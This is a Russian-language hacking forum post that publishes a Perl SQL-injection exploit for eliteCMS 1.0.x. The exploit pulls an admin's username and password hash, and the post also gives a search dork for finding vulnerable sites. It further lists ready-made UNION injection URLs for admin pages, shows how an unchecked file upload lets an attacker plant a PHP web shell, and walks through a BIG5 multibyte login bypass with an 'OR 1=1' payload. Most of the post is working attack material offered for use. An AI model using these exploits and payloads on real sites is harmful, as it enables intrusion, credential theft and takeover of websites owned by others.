eliteCMS SQL-inj Vulnerability code: PHP: function get_page_settings() { global $page_settings; $query = "SELECT * FROM pages WHERE id = '{$_GET['page']}'"; $result = mysql_query($query); confirm_query($result); $page_settings = mysql_fetch_array($result); return $page_settings; } Ну и вообщем первый мой сплойт: Code: #!/usr/bin/perl system('cls'); #***************************************************************************** #***************************************************************************** #** Written by Dimi4, ** #** Greetings to antichat && elwaux ** #** dork:""Powored by Elite CMS" ** #** version:1.0.x ** #** magic_qotes_gpc=OFF ** #** ** #***************************************************************************** # **************************************************************************** use IO::Socket; print "\n +-------------------------------------------------------------+\n"; print " | eliteCMS 1.0.x Sql-Injection Exploit |\n"; print " | By Dimi4 |\n"; print " +-------------------------------------------------------------+\n\n"; if (@ARGV < 3) { print " [i] usage:\r\n"; print " eliteCMS.pl Server Dir Username\r\n\r\n"; print " SERVER - Server where eliteCMS was installed.\r\n"; print " DIR - eliteCMS directory or / for parent.\r\n"; print " Username - Targer username(default - admin).\r\n"; print "\n [i] Example:\r\n"; print " eliteCMS.pl 192.168.168.1 / admin2\n"; <stdin>; exit(); } $serv = $ARGV[0]; $dir = $ARGV[1]; $username = $ARGV[2]; $serv =~ s/http:\/\///ge; $delimit = "0x336c317433636d353378706c303174"; $sploit = 'http://'.$serv.'/'. 'index.php?page=1\'+union+select+1,concat'. '(user_name,\''.$delimit.'\',h_password)'. ',3,4,5,6,7,8,9,10,11+from+users+where+user_name=\''.$username.'\'+'. 'limit+1,1%23'; $sock = IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") or die " [-] could not connect to host.\n"; print " [+] connecting OK\n"; print " [+] sending exploit..\n"; print $sock "GET $sploit HTTP/1.1\n"; print $sock "Host: $serv\n\n"; read($sock,my $answer,1000); $success = 0; print " [+] In progress...\n"; if ($answer=~ /$delimit/) { $answer =~ /$username$delimit(.*)::-::<\/title>/; print " [+] Exploit succeeded...\n"; print ' [+] Targer: '.$serv."\n"; print ' [+] Username: '.$username."\n"; print ' [+] Password: '.$1."\n"; exit(); } else { print " [-] FAILED!\n"; exit(); } close($sock); <stdin>; exit(); Спасибо elwaux за помощь в перел) Всё те же иньекции: Code: http://127.0.0.1/eliteCMS/index.php?page=1'+union+select+1,concat(user_name,0x20336c317433636d353378706c30317420,h_password),3,4,5,6,7,8,9,10,11+from+users+limit+1,1/* Админка: На первой страницы виден полный путь. Если хватит прав можно залить шелл через скулю. Скули в админке: Code: http://127.0.0.1/eliteCMS/admin/edit_page.php?page=3+union+select+1,2,3,4,5,6,7,8,9,10,11/* SQL-inj Vulnerability code: PHP: function get_page($page_id) { $query = "SELECT * FROM "; $query .= "posts "; $query .= "WHERE page_id =" . $page_id . " "; $query .= "AND active = 1 "; $query .= " ORDER BY position"; $result = mysql_query($query); $check = mysql_num_rows($result); confirm_query($result); if ($check != 0) { while ($page = mysql_fetch_array($result)) { echo "<h1>" . $page['title'] . "</h1>\n"; echo "<p>" . $page['content'] . "</p>\n"; } URL: Code: http://127.0.0.1/eliteCMS/admin/edit_post.php?page=1&post=1+union+select+1,2,3,4,user(),version()/* SQL-inj Vulnerability code: PHP: function get_sidebar($page_id) { $query = "SELECT * FROM "; $query .= "sidebar "; $query .= "WHERE page_id =" . $page_id . " "; //$query .= "AND active = 1 "; $query .= " ORDER BY position"; $result = mysql_query($query); confirm_query($result); while ($sidebar = mysql_fetch_array($result)) { echo "<h2>" . $sidebar['title'] . "</h2>"; echo "<p>" . $sidebar['content'] . "</p>"; echo "<p></p>"; } } URL: Code: http://127.0.0.1/eliteCMS/admin/dit_sidebar.php?page=1&sidebar=2+union+select+1,2,3,user(),version()/* Форум пробелы в експлойт подобавлял Рабочий в атаче Такс.. Иду спать.. потом допишу
Заливка шелла: Код: PHP: if (!file_exists($upload_path)) { if ($_FILES['file']['size'] < 100000000000 && $_FILES['file']['size'] > 0) { if ($_FILES['file']['error']) { echo "Error: " . $_FILES['file']['error']; } else { // Success! $successMSG = "File successfully uploaded."; Нет проверки на расширение)) Шелл: Code: http://127.0.0.1/eliteCMS/uploads/shell.php
Обход авторизации в админке. Так как даная цмс еще не очень популярна (надеюсь не станет ей до исправления багов ) такой случай очень редкий. Требования: PHP: < v4.3.0 magic_qoutes_gpc: OFF character_set_results: BIG5 (Или любая другая мультибайтовая кодировка - SJIS, BIG5 и GBK) Уязвимая функция (functions.php) PHP: function mysql_prep($value) { $magic_quotes_active = get_magic_quotes_gpc(); $new_enough_php = function_exists("mysql_real_escape_string"); // i.e. PHP >= v4.3.0 if ($new_enough_php) { // PHP v4.3.0 or higher // undo any magic quote effects so mysql_real_escape_string can do the work if ($magic_quotes_active) { $value = stripslashes($value); } $value = mysql_real_escape_string($value); } else { // before PHP v4.3.0 if (!$magic_quotes_active) { $value = addslashes($value); } } return $value; } PHP: addslashes() Перед одинарными и двойными кавычками, беклсешем, нуллбайтом добавляет обратный слэш. В мультибайтовой BIG5 кодировке 0xa327 - неверный символ, но после слеширования, у - 0xa35c27. 0xa35c для BIG5 корректный символ. Но и 0х27 станет отдельным и кавычка не будет экранироватся. Другой уязвимый кусок кода: PHP: $user_name = mysql_prep($_POST['user_name']); $password = mysql_prep($_POST['password']); $h_password = sha1($password); $query = " SELECT id, user_name, s_admin "; $query .= " FROM users "; $query .= " WHERE user_name = '{$user_name}' "; $query .= " AND h_password = '{$h_password}' "; $query .= " AND active = 1 "; $query .= " LIMIT 1 "; $result = mysql_query($query); PHP: if (mysql_num_rows($result) == 1) { $valid_user = mysql_fetch_array($result); $_SESSION['user_id'] = $valid_user['id']; $_SESSION['user_name'] = $valid_user['user_name']; $_SESSION['s_admin'] = $valid_user['s_admin']; redirect_to("index.php"); Пример для пост заголовка на пхп: PHP: $header .= chr(0xa3).chr(0x27).' OR 1=1 /*'; Sql запрос примет такой вид: PHP: $query = " SELECT id, user_name, s_admin FROM users WHERE user_name = 'значение+0xa35c+' OR 1=1 /*' AND h_password = '{$h_password}' AND active = 1 LIMIT 1 "; Таким образом пройдем авторизацию Спасибо [Raz0r] За статью в блоге Спасибо Thearadox за експлойт для SMF <= 1.1.4